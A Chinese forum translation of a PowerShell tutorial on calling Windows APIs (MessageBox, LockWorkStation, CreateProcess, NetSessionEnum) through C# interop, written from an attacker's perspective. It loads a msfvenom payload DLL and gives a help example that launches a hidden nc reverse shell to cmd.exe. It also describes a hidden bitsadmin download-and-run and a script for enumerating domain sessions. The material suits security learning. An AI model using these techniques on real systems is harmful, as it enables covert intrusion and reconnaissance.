用户
搜索

该用户从未签到

i春秋-核心白帽

推荐组组员(最帅的那个)

Rank: 4

15

主题

22

帖子

156

魔法币
收听
0
粉丝
1
注册时间
2018-4-12

i春秋推荐小组

Arizona i春秋-核心白帽 推荐组组员(最帅的那个) i春秋推荐小组 楼主
发表于 2018-5-15 15:30:29 01403

来自PowerShell的低级Windows API访问

0x00 前言

大家好,相信大家都知道知道PowerShell,也就是微软的后期开发语言,非常棒!而用C#\ .NET来扩展PowerShell,那意味着你可以用来做任何的事情。有时,本机PowerShell功能并不够,需要调用Windows API来进行低级别访问。 NetSessionEnum API就是其中的一个例子,NetSess和Veil-Powerview等工具可以用于远程枚举域计算机上的活动session。在这篇文章中,我们将看看几个例子,希望我们可以一起编写自己的Windows API调用脚本。

注意,下面的示例使用C#来定义Windows API结构。但从攻击者的角度来看并不是最佳的选择,因为C#编译将在运行时将产生临时文件。不过,使用.NET System.Reflection命名空间会让我们尝试实现目标时增加一些额外的开销。但一旦理解一些基础知识,就可以很容易地使用Matt Graeber来完成任务,可以真正的驻留在内存中。

资源:

  • Pinvoke - 这里
  • 使用PowerShell与Windows API进行交互:第1部分 - 此处
  • 使用PowerShell与Windows API进行交互:第2部分 - 此处
  • 使用PowerShell与Windows API进行交互:第3部分 - 此处
  • 通过.NET方法和反射访问PowerShell中的Windows API - 这里
  • 深度反思:在PowerShell中定义结构和枚举 - 这里

下载:

  • Invoke-CreateProcess.ps1 - 这里
  • Invoke-NetSessionEnum.ps1 - 这里

0x01  User32 :: MessageBox

创建消息框可能是最直接的例子之一,因为API调用只需要很少的输入。请确保查看MessageBox的pinvoke条目,以获得结构的定义和MSDN条目的入门知识,以更好地理解结构参数。
下面可以看到来自MSDN的C ++函数结构体。

             int WINAPI MessageBox(
       _In_opt_ HWND hWnd,
       _In_opt_ LPCTSTR lpText,
       _In_opt_ LPCTSTR lpCaption,
       _In_ UINT uType
     );

这很容易转换为C#,因为它几乎是pinvoke上的示例的文字复制粘贴的。

     Add-Type -TypeDefinition @"
     using System;
     using System.Diagnostics;
     using System.Runtime.InteropServices;

     public static class User32
     {
               [DllImport("user32.dll", CharSet=CharSet.Auto)]
                         public static extern bool MessageBox(
                                IntPtr hWnd,     /// Parent window handle
                                String text,     /// Text message to display
                                String caption,  /// Window caption
                                int options);    /// MessageBox type
     }
     "@

     [User32]::MessageBox(0,"Text","Caption",0) |Out-Null

执行上面的代码弹出预期的消息框。

WinAPI-1.png
当然,我们也可以更改传递给消息框功能的参数,例如消息框类型。int WINAPI MessageBox(
WinAPI-2.png

0x02 User32 :: CallWindowProc

让我们尝试更复杂一点,如果我们想在一个dll中调用一个导出的函数。 基本上我们需要执行以下步骤。

       [Kernel32]::LoadLibrary                 #Load DLL
             |___[Kernel32]::GetProcAddress       #Get function pointer
                             |___[User32]::CallWindowProc #Call function

这里有一些作弊,CallWindowProc只有在函数没有任何参数的情况下才会起作用。然而,出于演示,正好可以使用。

User32.dll包含一个可用于锁定用户桌面的功能(LockWorkStation)。执行该功能的代码可以看到:

           function Instantiate-LockDown {
                  Add-Type -TypeDefinition @
                  using System;
                  using System.Diagnostics;
                  using System.Runtime.InteropServices;

                 public static class Kernel32
                 {
                        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
                             public static extern IntPtr LoadLibrary(
                                    [MarshalAs(UnmanagedType.LPStr)]string lpFileName);

                        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
                             public static extern IntPtr GetProcAddress(
                                    IntPtr hModule,
                                    string procName);
                  }

                  public static class User32
                 {
                          [DllImport("user32.dll")]
                               public static extern IntPtr CallWindowProc(
                                      IntPtr wndProc,
                                      IntPtr hWnd,
                                      int msg,
                                      IntPtr wParam,
                                      IntPtr lParam);
                 }
              "@

                 $LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
                 $FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")

                 if ([System.IntPtr]::Size -eq 4) {
                     echo "`nKernel32::LoadLibrary   -- 0x$("{0:X8}" -f $LibHandle.ToInt32())"
                     echo "User32::LockWorkStation -- 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
                 }
                 else {
                     echo "`nKernel32::LoadLibrary   -- 0x$("{0:X16}" -f $LibHandle.ToInt64())"
                     echo "User32::LockWorkStation -- 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
                 }

                echo "Locking user session..`n"
                [User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
                 }

立即运行脚本会锁定用户的桌面。

重新登录后,我们可以看到该函数的输出。

WinAPI-4.png

接前面的例子,让我们用msfvenom生成的DLL来尝试同样的事情。

WinAPI-5.png

我一般不会使用metasploit DLL有效载荷格式,因为它似乎无法完全满足我们的要求。我快速浏览了IDA,发现一切都通过DLLMain暴露出来。

WinAPI-6.png

在一个非常有意思的转折中,进一步我们发现该DLL实际上并没有使用WinExec!相反,DLL建立一个对CreateProcess的调用。

WinAPI-7.png

该调用看起来有点奇怪,它看起来像CreateProcess启动的“rundll32.exe”处于挂起状态(dwCreationFlags = 0x44)。我不确定为什么“rundll32.exe”会放在lpCommandLine中,因为它通常位于lpApplicationName中,无论它是否完全有效,因为lpApplicationName可以为NULL,在这种情况下,lpCommandLine的第一个参数将被视为模块名称。

shellcode然后获取进程的句柄,注入一个有效载荷字节数组并重新开始线程。

WinAPI-8.png

回过头来看,从PowerShell执行有效负载非常简单。 因为一切都在DLLMain中,我们只需要调用LoadLibrary和DLL的适当路径即可。

      function Instantiate-MSFDLL {
               $ScriptBlock = {
                      Add-Type -TypeDefinition @"
                      using System;
                      using System.Diagnostics;
                      using System.Runtime.InteropServices;

                      public static class Kernel32
                     {
                            [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
                                  public static extern IntPtr LoadLibrary(
                                        [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
                     }
        "@           
                      [Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
              }

             Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
          }

执行该函数会调出计算机。

WinAPI-9.png

0x04 Kernel32 : : CreateProcess

到目前为止,我们已经很容易调用API,而且都相对较小且不复杂。但情况并非总是如此,CreateProcess API调用就是一个很好的例子。有时我们需要在远程机器上运行命令,但是它会弹出一个控制台窗口。我遇到了这个问题几次,并没有完美的解决方案(不建议VBS包装)。幸运的是,如果我们回到Windows API,我们会发现CreateProcess,它提供了对进程创建的更细粒度的控制,包括删除控制台应用程序的GUI窗口的能力。它仍然令我失望,在PowerShell中,“-WindowStyle Hidden”标志是不会挂钩到CreateProcess中,来完全隐藏控制台。

无论哪种方式,有一个可以充分利用CreateProcess的功能将会非常有用。 让我们看看我们是否能做到这一点。请记住咨询针对C#示例的pinvoke。

资源:

       BOOL WINAPI CreateProcess(
       _In_opt_ LPCTSTR lpApplicationName,
       _Inout_opt_ LPTSTR lpCommandLine,
       _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, -- SECURITY_ATTRIBUTES Struct
       _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, -- SECURITY_ATTRIBUTES Struct
       _In_ BOOL bInheritHandles,
       _In_ DWORD dwCreationFlags,
       _In_opt_ LPVOID lpEnvironment,
       _In_opt_ LPCTSTR lpCurrentDirectory,
       _In_ LPSTARTUPINFO lpStartupInfo, -- STARTUPINFO Struct
       _Out_ LPPROCESS_INFORMATION lpProcessInformation -- PROCESS_INFORMATION Struct
       );

        Add-Type -TypeDefinition @"
       using System;
       using System.Diagnostics
      using System.Runtime.InteropServices;

      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION
      {
                 public IntPtr hProcess;
                 public IntPtr hThread;
                 public uint dwProcessId;
                 public uint dwThreadId;
          }
         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
         public struct STARTUPINFO
         {
                 public uint cb;
                 public string lpReserved;
                 public string lpDesktop;
                 public string lpTitle;
                 public uint dwX;
                 public uint dwY;
                 public uint dwXSize;
                 public uint dwYSize;
                 public uint dwXCountChars;
                 public uint dwYCountChars;
                 public uint dwFillAttribute;
                 public uint dwFlags;
                 public short wShowWindow;
                 public short cbReserved2;
                 public IntPtr lpReserved2;
                 public IntPtr hStdInput;
                 public IntPtr hStdOutput;
                 public IntPtr hStdError;  
         }

         [StructLayout(LayoutKind.Sequential)]
         public struct SECURITY_ATTRIBUTES
         {
          public int length;
          public IntPtr lpSecurityDescriptor;
          public bool bInheritHandle;
         }

         public static class Kernel32
         {
          [DllImport("kernel32.dll", SetLastError=true)]
          public static extern bool CreateProcess(
          string lpApplicationName,
          string lpCommandLine,
          ref SECURITY_ATTRIBUTES lpProcessAttributes,
          ref SECURITY_ATTRIBUTES lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
         }
         "@

         #StartupInfo Struct
         $StartupInfo = New-Object STARTUPINFO
         $StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
         $StartupInfo.wShowWindow = 0x0000 # SW_HIDE
         $StartupInfo.cb =  [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

         #ProcessInfo Struct
         $ProcessInfo = New-Object PROCESS_INFORMATION

         #SECURITY_ATTRIBUTES Struct (Process & Thread)
         $SecAttr = New-Object SECURITY_ATTRIBUTES
         $SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)

         #CreateProcess -- lpCurrentDirectory
         $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

         #Call CreateProcess
         [Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref]      $SecAttr, [ref] $SecAttr, $false, 0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null

上面设置的标志应该创建一个没有窗口的“cmd.exe”进程,进而启动计算器。当然实际上你可以确认cmd没有与进程管理器关联的窗口。

10

10

显然重用这段代码有点麻烦,所以我倾注了一个很好的函数来重用。

           PS C:\Users\Fubar\Desktop . .\Invoke-CreateProcess.ps1

           PS C:\Users\Fubar\Desktop Get-Help Invoke-CreateProcess -Full
           NAME

           Invoke-CreateProcess

           SYNOPSIS
           -Binary            Full path of the module to be executed.

           -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults to $null if not specified.

           -CreationFlags     Process creation flags:
                                0x00000000 (NONE)
                                0x00000001 (DEBUG_PROCESS)
                                0x00000002 (DEBUG_ONLY_THIS_PROCESS)
                                0x00000004 (CREATE_SUSPENDED)
                                0x00000008 (DETACHED_PROCESS)
                                0x00000010 (CREATE_NEW_CONSOLE)
                                0x00000200 (CREATE_NEW_PROCESS_GROUP)
                                0x00000400(CREATE_UNICODE_ENVIRONMENT)
                                0x00000800 (CREATE_SEPARATE_WOW_VDM)
                                0x00001000 (CREATE_SHARED_WOW_VDM)
                                0x00040000 (CREATE_PROTECTED_PROCESS)
                                0x00080000(EXTENDED_STARTUPINFO_PRESENT)
                                0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
                                0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
                                0x04000000 (CREATE_DEFAULT_ERROR_MODE)
                                0x08000000 (CREATE_NO_WINDOW)
           -ShowWindow        Window display flags:
                                0x0000 (SW_HIDE)
                                0x0001 (SW_SHOWNORMAL)
                                0x0001 (SW_NORMAL)
                                0x0002 (SW_SHOWMINIMIZED)
                                0x0003 (SW_SHOWMAXIMIZED)
                                0x0003 (SW_MAXIMIZE)
                                0x0004 (SW_SHOWNOACTIVATE)
                                0x0005 (SW_SHOW)
                                0x0006 (SW_MINIMIZE)
                                0x0007 (SW_SHOWMINNOACTIVE)
                                0x0008 (SW_SHOWNA)
                                0x0009 (SW_RESTORE)
                                0x000A (SW_SHOWDEFAULT)
                                0x000B (SW_FORCEMINIMIZE)
                                0x000B (SW_MAX)
            StartF             Bitfield to influence window creation:
                                0x00000001 (STARTF_USESHOWWINDOW)
                                0x00000002 (STARTF_USESIZE)
                                0x00000004 (STARTF_USEPOSITION)
                                0x00000008 (STARTF_USECOUNTCHARS)
                                0x00000010 (STARTF_USEFILLATTRIBUTE)
                                0x00000020 (STARTF_RUNFULLSCREEN)
                                0x00000040 (STARTF_FORCEONFEEDBACK)
                                0x00000080 (STARTF_FORCEOFFFEEDBACK)
                                0x00000100 (STARTF_USESTDHANDLES)
       SYNTAX
        Invoke-CreateProcess [-Binary] <String [[-Args] <String] [-CreationFlags] <Int32 [-ShowWindow]
       <Int32 [-StartF] <Int32 [<CommonParameters]

      DESCRIPTION
       Author: Ruben Boonen (@FuzzySec)
       License: BSD 3-Clause
       Required Dependencies: None
       Optional Dependencies: None

       PARAMETERS
       -Binary <String
           Required?                    true
           Position?                    1
           Default value
           Accept pipeline input?       false
           Accept wildcard characters?

       -Args <String
           Required?                    false
           Position?                    2
           Default value
           Accept pipeline input?       false
           Accept wildcard characters?

       -CreationFlags <Int32
           Required?                    true
           Position?                    3
           Default value
           Accept pipeline input?       false
           Accept wildcard characters?

       -ShowWindow <Int32
           Required?                    true
           Position?                    4
           Default value
           Accept pipeline input?       false
           Accept wildcard characters?

       -StartF <Int32
           Required?                    true
           Position?                    5
           Default value
           Accept pipeline input?       false
           Accept wildcard characters?

       <CommonParameters
           This cmdlet supports the common parameters: Verbose, Debug,
           ErrorAction, ErrorVariable, WarningAction, WarningVariable,
           OutBuffer and OutVariable. For more information, type,
           "get-help about_commonparameters".
       INPUTS

       OUTPUTS

       -------------------------- EXAMPLE 1 --------------------------

       Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

       C:\PS Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
             -StartF 0x1
       -------------------------- EXAMPLE 2 --------------------------
       Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
       C:\PS Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
              C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

NONE/SW_NORMAL/STARTF_USESHOWWINDOW

在这里,我们可以在没有任何毛病的情况下启动计算器。

11

11

 CREATE_NEW_CONSOLE/ SW_NORMAL/ STARTF_USESHOWWINDOW

这里cmd是在新的控制台中启动的,并且显示正常。

12

12

CREATE_NO_WINDOW/ SW_HIDE/ STARTF_USESHOWWINDOW

这里cmd被调用时没有窗口,而窗口又执行bitsadmin命令从greyhathacker域获取并执行了一个二进制的文件。

13

13

0x05 Netapi32 : : NetSessionEnum

这是最后的例子,我们将看看NetSessionEnum API。 这是一个很棒的API gem,特别是在重新登录时,它允许域用户枚举已加入域的计算机上的已验证会话,并且不需要管理员权限。正如我在介绍中提到的那样,已经有很多工具可以利用这一点,最着名的是NetSess和Veil-Powerview。下面的脚本与powerview中的“Get-NetSessions”非常相似,只是它不使用反弹。

         function Invoke-NetSessionEnum {
         <#
        .SYNOPSIS

             Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.

        .DESCRIPTION

            Author: Ruben Boonen (@FuzzySec)
            License: BSD 3-Clause
            Required Dependencies: None
            Optional Dependencies: None

        .EXAMPLE
            C:\PS Invoke-NetSessionEnum -HostName SomeHostName

        #

            param (
                 [Parameter(Mandatory = $True)]
                   [string]$HostName
            )  

           Add-Type -TypeDefinition @"
           using System;
           using System.Diagnostics;
           using System.Runtime.InteropServices;

           [StructLayout(LayoutKind.Sequential)]
           public struct SESSION_INFO_10
          {
                     [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
                     [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
                     public uint SessionTime;
                     public uint IdleTime;
          }

          public static class Netapi32
         {
                 [DllImport("Netapi32.dll", SetLastError=true)]
                         public static extern int NetSessionEnum(
                               [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
                               [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
                               [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
                               Int32 Level,
                               out IntPtr bufptr,
                               int prefmaxlen,
                               ref Int32 entriesread,
                               ref Int32 totalentries,
                               ref Int32 resume_handle);

                   [DllImport("Netapi32.dll", SetLastError=true)]
                       public static extern int NetApiBufferFree(
                           IntPtr Buffer);
          }
     "@

        # Create SessionInfo10 Struct
        $SessionInfo10 = New-Object SESSION_INFO_10
        $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
        $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))

        # NetSessionEnum params
        $OutBuffPtr = [IntPtr]::Zero # Struct output buffer
        $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
        $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10,[ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)

        if ($CallResult -ne 0){
        echo "Mmm something went wrong!`nError Code: $CallResult"
        }
        else {
             if ([System.IntPtr]::Size -eq 4) {
             echo "`nNetapi32::NetSessionEnum Buffer Offset  -- 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
        }
        else {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  -- 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
        }      
        echo "Result-set contains $EntriesRead session(s)!"

        # Change buffer offset to int
        $BufferOffset = $OutBuffPtr.ToInt64()

        # Loop buffer entries and cast pointers as SessionInfo10
        for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
            $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
            $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
            $Info
            $BufferOffset = $BufferOffset + $SessionInfo10StructSize
        }

        echo "`nCalling NetApiBufferFree, no memleaks here!"
        [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
       }
      }

我在家设置了一个小的,邪恶的域,我用它来测试/开发。我们可以在下面看到Invoke-NetSessionEnum的输出:

14

14

结论:

希望这篇文章为您提供了一些关于将Windows API调用集成到PowerShell脚本中的想法。这样做意味着您在PowerShell中无法实现的任何内容。但正如我在介绍中提到的,有一种方法可以避免使用.NET反射进行运行时C#编译,我强烈建议您查看PowerSploit框架中的一些示例以了解如何完成此操作。

作者:b33f

翻译:i春秋翻译小组-薛定的饿猫

翻译来源:http://www.fuzzysecurity.com/tutorials/24.html

发新帖
您需要登录后才可以回帖 登录 | 立即注册